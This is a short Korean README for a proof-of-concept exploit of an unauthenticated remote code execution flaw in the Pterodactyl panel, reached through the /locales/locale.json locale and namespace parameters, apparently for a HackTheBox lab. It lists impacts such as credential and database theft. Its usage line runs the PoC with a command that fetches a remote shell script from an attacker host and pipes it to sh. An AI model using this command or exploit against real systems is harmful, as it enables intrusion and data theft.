
이 취약점으로 인해 공격자는 사전 인증 없이 Pterodactyl 패널을 호스팅하는 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
영향
/locales/locale.json에 locale 및 namespace 쿼리 매개변수를 사용하면, 인증 없이 악의적인 사용자가 임의 코드를 실행할 수 있습니다.
임의 코드 실행 능력을 통해 이 취약점은 무한한 방식으로 악용될 수 있습니다. 패널 서버에 접근하거나, 패널 구성 파일(.env 등)에서 자격 증명을 읽거나, 데이터베이스에서 민감한 정보(사용자 세부 정보 [사용자 이름, 이메일, 성과 이름, 해시된 비밀번호, IP 주소 등])를 추출하거나, 패널이 관리하는 서버의 파일에 접근하는 등의 작업이 가능합니다.
사용 방법
python poc.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'